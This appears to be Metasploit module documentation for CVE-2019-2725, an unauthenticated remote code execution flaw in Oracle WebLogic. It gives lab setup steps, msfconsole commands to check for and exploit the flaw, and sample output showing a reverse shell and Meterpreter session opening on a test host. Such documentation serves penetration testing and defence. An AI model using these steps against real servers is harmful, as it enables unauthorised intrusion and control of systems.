2.7 KiB
2.7 KiB
Vulnerable Application
CVE-2019-2725 exploits an XML deserialization vulnerability in Oracle WebLogic via the AsyncResponseService component. The exploit provides an unauthenticated attacker with remote arbitrary command execution.
Oracle Weblogic runs as a Java-based service in Windows, Linux, and Unix environments.
It is downloadable from Oracle once registered for an account.
For testing vulnerable environments, we used Weblogic 10.3.6 for Ubuntu (wls1036_linux32.bin
),
Weblogic 10.3.6 for Windows (wls1036_dev.zip
).
For testing a non-vulnerable environment, we used Weblogic 12.2.1.2 (fmw_12.2.1.2.0_wls.jar
)
in combination with a JDK (jdk-8u211-windows-x64.exe
).
Verification Steps
Install the application
- Install the application using the binaries above, with both a WebLogic server and an admin server.
- When prompted, name the project
base_domain
. - When prompted, use a development environment instead of a production environment.
- When prompted, keep the default port of TCP/7001.
- When prompted, provide a username and password, and make a note of them.
- Upon completion of the installer, find and execute the admin server.
On Windows:
C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\startWebLogic.cmd
. On Linux:~/Oracle/Middleware/user_projects/base_domain/bin/startWebLogic.sh
- You may be prompted for the username and password you generated during the install process.
- Wait for the output:
<Server state changed to RUNNING.>
Checking for the vulnerability
- Start msfconsole
use exploit/multi/misc/weblogic_deserialize_asyncresponseservice
- Configure RHOSTS to the target address, and set RPORT if the default port is not being used.
- Run the
check
method to confirm exploitability. - Look for the following output:
msf5 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > check
[+] 172.16.135.128:8088 - The target is vulnerable.
Exploiting the vulnerability
- Follow the steps in the previous "checking" section.
- Set the operating system of the target (eg.
set TARGET Windows
) - Configure the payload and payload parameters.
run
Options
TARGETURI
Set this to the AsyncResponseService uri, normally it should be /_async/asyncresponseservice
.
Scenarios
msf5 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > exploit
[*] Started reverse TCP handler on 172.16.135.1:4444
[*] Generating payload...
[*] Sending payload...
[*] Sending stage (179779 bytes) to 172.16.135.128
[*] Meterpreter session 1 opened (172.16.135.1:4444 -> 172.16.135.128:49266) at 2019-05-22 14:16:03 -0500
meterpreter >